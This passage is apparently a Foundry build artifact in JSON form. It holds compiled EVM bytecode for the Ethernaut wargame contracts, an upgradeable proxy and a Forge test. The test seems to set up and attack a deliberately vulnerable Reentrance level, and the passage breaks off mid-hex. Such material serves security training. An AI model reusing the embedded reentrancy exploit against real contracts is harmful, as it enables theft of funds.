38c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038086165f908152600c6020908152604080832093881683529290529081205490036110de5760405162461bcd60e51b815260206004820152601360248201527f4c6576656c206e6f7420636f6d706c6574656400000000000000000000000000604482015260640161047f565b6001600160a01b038086165f818152600b6020908152604080832094891680845294825280832054938352600c825280832094835293905291909120546105469190611db1565b6001600160a01b0381165f908152600f6020526040812054829060ff166111845760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090205490565b600281815481106111af575f80fd5b5f918252602090912001546001600160a01b0316905081565b6001600160a01b0381165f908152600e6020526040812054829060ff166112285760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b600254611234846109b1565b61124690670de0b6b3a7640000611dca565b6112509190611de1565b9392505050565b5f54610100900460ff161580801561127557505f54600160ff909116105b8061128e5750303b15801561128e57505f5460ff166001145b6113005760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161047f565b5f805460ff191660011790558015611321575f805461ff0019166101001790555b5f80547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16620100006001600160a01b03851602179055801561139d575f805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b806113c3816001600160a01b03165f908152600f602052604090205460ff1690565b156114105760405162461bcd60e51b815260206004820152601460248201527f4c6576656c20616c726561647920657869737473000000000000000000000000604482015260640161047f565b5f546201000090046001600160a01b0316331461147d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b506001600160a01b03165f818152600f60205260408120805460ff191660019081179091556002805491820181559091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19169091179055565b5f546201000090046001600160a01b0316331461155d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b8161157f816001600160a01b03165f908152600f602052604090205460ff1690565b6115c15760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b816115e3816001600160a01b03165f908152600e602052604090205460ff1690565b6116265760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166116a75760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146117315760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff16156117ad5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600d60209081526040808320938816808452938252808320600301805460018101825590845282842042910155928252600a905290812060020180549161180283611d99565b909155505060058054905f61181683611d99565b90915550506001600160a01b0383165f9081526009602052604081208054916109a583611d99565b6001600160a01b0383165f908152600e6020526040812054849060ff1661189e5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b836118c0816001600160a01b03165f908152600f602052604090205460ff1690565b6119025760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038087165f908152600d60209081526040808320938916835292905220600301548411156119795760405162461bcd60e51b815260206004820152601060248201527f496e646578206f7574626f756e64656400000000000000000000000000000000604482015260640161047f565b6001600160a01b038087165f908152600d602090815260408083209389168352929052206003018054859081106119b2576119b2611e00565b905f5260205f200154925050509392505050565b6001600160a01b0381165f908152600f6020526040812054829060ff16611a255760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206002015490565b6001600160a01b0382165f908152600e6020526040812054839060ff16611aa45760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611ac6816001600160a01b03165f908152600f602052604090205460ff1690565b611b085760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b5050506001600160a01b039182165f908152600d60209081526040808320939094168252919091522054600160a01b900460ff1690565b600181815481106111af575f80fd5b6001600160a01b038084165f81815260106020908152604080832054600b835281842095881680855295835281842054948452600c83528184209584529490915281205490929183918291611ba291611db1565b6001600160a01b0388165f9081526010602052604081205491925003611be1576001600160a01b0387165f908152601060205260409020819055611c29565b8481611bee600183611db1565b611bf89086611dca565b611c029190611e14565b611c0c9190611de1565b6001600160a01b0388165f90815260106020526040902081905591505b5095945050505050565b828054828255905f5260205f20908101928215611c6c579160200282015b82811115611c6c578251825591602001919060010190611c51565b50611c78929150611c7c565b5090565b5b80821115611c78575f8155600101611c7d565b80356001600160a01b0381168114611ca6575f80fd5b919050565b5f8060408385031215611cbc575f80fd5b611cc583611c90565b9150611cd360208401611c90565b90509250929050565b5f805f60608486031215611cee575f80fd5b611cf784611c90565b9250611d0560208501611c90565b9150611d1360408501611c90565b90509250925092565b5f60208284031215611d2c575f80fd5b61125082611c90565b5f60208284031215611d45575f80fd5b5035919050565b5f805f60608486031215611d5e575f80fd5b611d6784611c90565b9250611d7560208501611c90565b9150604084013590509250925092565b634e487b7160e01b5f52601160045260245ffd5b5f60018201611daa57611daa611d85565b5060010190565b81810381811115611dc457611dc4611d85565b92915050565b8082028115828204841417611dc457611dc4611d85565b5f82611dfb57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b80820180821115611dc457611dc4611d8556fea264697066735822122066af37f02a1e446ad91bfc4bf9b0dd5322bb220097108143b357e6128534eb5464736f6c63430008180033608060405234801562000010575f80fd5b5060405162000daa38038062000daa83398101604081905262000033916200042b565b6040516001600160a01b03821660248201528390839060440160408051601f198184030181529190526020810180516001600160e01b0390811663189acdbd60e31b17909152839082906200008f90839083905f90620000a916565b506200009d905082620000da565b505050505050620004e7565b620000b4836200014b565b5f82511180620000c15750805b15620000d557620000d383836200018c565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6200011b5f8051602062000d63833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16200014881620001bb565b50565b620001568162000258565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b6060620001b4838360405180606001604052806027815260200162000d8360279139620002ef565b9392505050565b6001600160a01b038116620002265760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b805f8051602062000d638339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b620002c75760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016200021d565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc62000237565b60606001600160a01b0384163b620003595760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016200021d565b5f80856001600160a01b03168560405162000375919062000496565b5f60405180830381855af49150503d805f8114620003af576040519150601f19603f3d011682016040523d82523d5f602084013e620003b4565b606091505b509092509050620003c7828286620003d1565b9695505050505050565b60608315620003e2575081620001b4565b825115620003f35782518084602001fd5b8160405162461bcd60e51b81526004016200021d9190620004b3565b80516001600160a01b038116811462000426575f80fd5b919050565b5f805f606084860312156200043e575f80fd5b62000449846200040f565b925062000459602085016200040f565b915062000469604085016200040f565b90509250925092565b5f5b838110156200048e57818101518382015260200162000474565b50505f910152565b5f8251620004a981846020870162000472565b9190910192915050565b602081525f8251806020840152620004d381604085016020870162000472565b601f01601f19169190910160400192915050565b61086e80620004f55f395ff3fe60806040526004361061005d575f3560e01c80635c60da1b116100425780635c60da1b146100a65780638f283970146100d6578063f851a440146100f55761006c565b80633659cfe6146100745780634f1ef286146100935761006c565b3661006c5761006a610109565b005b61006a610109565b34801561007f575f80fd5b5061006a61008e36600461070d565b610123565b61006a6100a1366004610726565b61015e565b3480156100b1575f80fd5b506100ba6101c4565b6040516001600160a01b03909116815260200160405180910390f35b3480156100e1575f80fd5b5061006a6100f036600461070d565b6101f4565b348015610100575f80fd5b506100ba610214565b610111610234565b61012161011c6102e4565b6102ed565b565b61012b61030b565b6001600160a01b03163303610156576101538160405180602001604052805f8152505f61033d565b50565b610153610109565b61016661030b565b6001600160a01b031633036101bc576101b78383838080601f0160208091040260200160405190810160405280939291908181526020018383808284375f920191909152506001925061033d915050565b505050565b6101b7610109565b5f6101cd61030b565b6001600160a01b031633036101e9576101e46102e4565b905090565b6101f1610109565b90565b6101fc61030b565b6001600160a01b031633036101565761015381610367565b5f61021d61030b565b6001600160a01b031633036101e9576101e461030b565b61023c61030b565b6001600160a01b031633036101215760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f7879207461726760648201527f6574000000000000000000000000000000000000000000000000000000000000608482015260a4015b60405180910390fd5b5f6101e46103bb565b365f80375f80365f845af43d5f803e808015610307573d5ff35b3d5ffd5b5f7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b610346836103e2565b5f825111806103525750805b156101b7576103618383610421565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61039061030b565b604080516001600160a01b03928316815291841660208301520160405180910390a16101538161044d565b5f7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61032e565b6103eb81610525565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b60606104468383604051806060016040528060278152602001610812602791396105c9565b9392505050565b6001600160a01b0381166104c95760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016102db565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b039290921691909117905550565b6001600160a01b0381163b6105a25760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201527f6f74206120636f6e74726163740000000000000000000000000000000000000060648201526084016102db565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104ec565b60606001600160a01b0384163b6106485760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f60448201527f6e7472616374000000000000000000000000000000000000000000000000000060648201526084016102db565b5f80856001600160a01b03168560405161066291906107c4565b5f60405180830381855af49150503d805f811461069a576040519150601f19603f3d011682016040523d82523d5f602084013e61069f565b606091505b50915091506106af8282866106b9565b9695505050505050565b606083156106c8575081610446565b8251156106d85782518084602001fd5b8160405162461bcd60e51b81526004016102db91906107df565b80356001600160a01b0381168114610708575f80fd5b919050565b5f6020828403121561071d575f80fd5b610446826106f2565b5f805f60408486031215610738575f80fd5b610741846106f2565b9250602084013567ffffffffffffffff8082111561075d575f80fd5b818601915086601f830112610770575f80fd5b81358181111561077e575f80fd5b87602082850101111561078f575f80fd5b6020830194508093505050509250925092565b5f5b838110156107bc5781810151838201526020016107a4565b50505f910152565b5f82516107d58184602087016107a2565b9190910192915050565b602081525f82518060208401526107fd8160408501602087016107a2565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212203e1cf275377e8bb61cf9b931569a705adcb93eec1d89a2b1d063e39d5340117464736f6c63430008180033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220f2bbe141b29d8da793c5495bc10168ea4e7bac08185474f044e2814d6ca1583264736f6c63430008180033","sourceMap":"3126:44:2:-:0;;;3166:4;-1:-1:-1;;3126:44:2;;;;;;;1016:26:12;;;;;;;;;-1:-1:-1;;;420:32:154;216:27:155;363:1734:145;420:32:154;259:12:155;363:1734:145;420:32:154;410:43;382:71;;363:1734:145;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001b81565b62000814565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009de565b604051620001c7919062001bc4565b620001b3620001fa36600462001cb0565b62000a40565b6200020a62000c0b565b604051620001c7919062001d83565b620001da62000d53565b620001da62000db3565b6200023762000e13565b604051620001c7919062001e46565b620001da6200025736600462001f13565b62000f0d565b6200019a6200109d565b620002716200122c565b604051620001c7919062001f2b565b620001b36200029136600462001f91565b62001301565b6200023762001420565b620002b8620002b236600462001faf565b6200151a565b6040519015158152602001620001c7565b62000271620016aa565b6200019a6200177f565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b862001818565b620001da620018ec565b6200019a6200032f36600462001f13565b6200194c565b601e54620002b89060ff1681565b5f62000350600262000f0d565b9050805f8151811062000367576200036762001feb565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b505050508060018151811062000449576200044962001feb565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b0316905062001301565b60205f6101000a8154816001600160a01b0302191690836001600160a01b031602179055505f620006016040518060400160405280601181526020017f5265656e7472616e6365466163746f727900000000000000000000000000000081525062000a40565b6020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000661575f80fd5b505af115801562000674573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006d3575f80fd5b505af1158015620006e6573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000741575f80fd5b505af115801562000754573d5f803e3d5ffd5b50506020546200077992506001600160a01b031690508266038d7ea4c6800062000814565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007f9575f80fd5b505af11580156200080c573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562000870575f80fd5b505af115801562000883573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008e3575f80fd5b505af1158015620008f6573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af11580156200095b573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200098491908101906200208c565b905080600182516200099791906200221c565b81518110620009aa57620009aa62001feb565b60200260200101515f0151600281518110620009ca57620009ca62001feb565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a3657602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a17575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000aa0573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000ac9919081019062002232565b90505f81848560405160200162000ae292919062002284565b60408051601f198184030181529082905262000b02929160200162002332565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b6690859060040162002364565b5f60405180830381865afa15801562000b81573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000baa919081019062002232565b90505f62000bf76040518060400160405280601081526020017f2e62797465636f64652e6f626a6563740000000000000000000000000000000081525083620019c090919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d4a575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d32578382905f5260205f2001805462000ca09062002378565b80601f016020809104026020016040519081016040528092919081815260200182805462000cce9062002378565b801562000d1d5780601f1062000cf35761010080835404028352916020019162000d1d565b820191905f5260205f20905b81548152906001019060200180831162000cff57829003601f168201915b50505050508152602001906001019062000c80565b50505050815250508152602001906001019062000c2e565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a3657602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a17575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a3657602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a17575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d4a575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000ef457602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000ea05790505b5050505050815250508152602001906001019062000e36565b60605f8267ffffffffffffffff81111562000f2c5762000f2c62001c12565b60405190808252806020026020018201604052801562000f56578160200160208202803683370190505b5090505f5b8381101562001096575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000fa3573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fc99190620023b2565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001047575f80fd5b505af11580156200105a573d5f803e3d5ffd5b505050508083838151811062001074576200107462001feb565b6001600160a01b03909216602092830291909101909101525060010162000f5b565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620010f4575f80fd5b505af115801562001107573d5f803e3d5ffd5b50506023546021546040515f94506001600160a01b03928316319350911690620011319062001b34565b6001600160a01b0390911681526020016040518091039082f09050801580156200115d573d5f803e3d5ffd5b509050806001600160a01b031663de6c6acd6040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562001199575f80fd5b505af1158015620011ac573d5f803e3d5ffd5b50505050806001600160a01b031663218d3fa86040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620011e9575f80fd5b505af1158015620011fc573d5f803e3d5ffd5b50506020546021546200122993506200122392506001600160a01b0391821691166200151a565b62001a62565b50565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d4a578382905f5260205f200180546200126f9062002378565b80601f01602080910402602001604051908101604052809291908181526020018280546200129d9062002378565b8015620012ec5780601f10620012c257610100808354040283529160200191620012ec565b820191905f5260205f20905b815481529060010190602001808311620012ce57829003601f168201915b5050505050815260200190600101906200124f565b5f80604051620013119062001b42565b604051809103905ff0801580156200132b573d5f803e3d5ffd5b5090505f6040516200133d9062001b50565b604051809103905ff08015801562001357573d5f803e3d5ffd5b508483604051620013689062001b5e565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff080158015620013a2573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b15801562001401575f80fd5b505af115801562001414573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d4a575f8481526020908190206040805180820182526002860290920180546001600160a01b031683526001810180548351818702810187019094528084529394919385830193928301828280156200150157602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020019060040190602082600301049283019260010382029150808411620014ad5790505b5050505050815250508152602001906001019062001443565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562001576575f80fd5b505af115801562001589573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b158015620015e7575f80fd5b505af1158015620015fa573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af11580156200165e573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200168791908101906200208c565b90506001815111156200169f576001915050620016a4565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d4a578382905f5260205f20018054620016ed9062002378565b80601f01602080910402602001604051908101604052809291908181526020018280546200171b9062002378565b80156200176a5780601f1062001740576101008083540402835291602001916200176a565b820191905f5260205f20905b8154815290600101906020018083116200174c57829003601f168201915b505050505081526020019060010190620016cd565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ec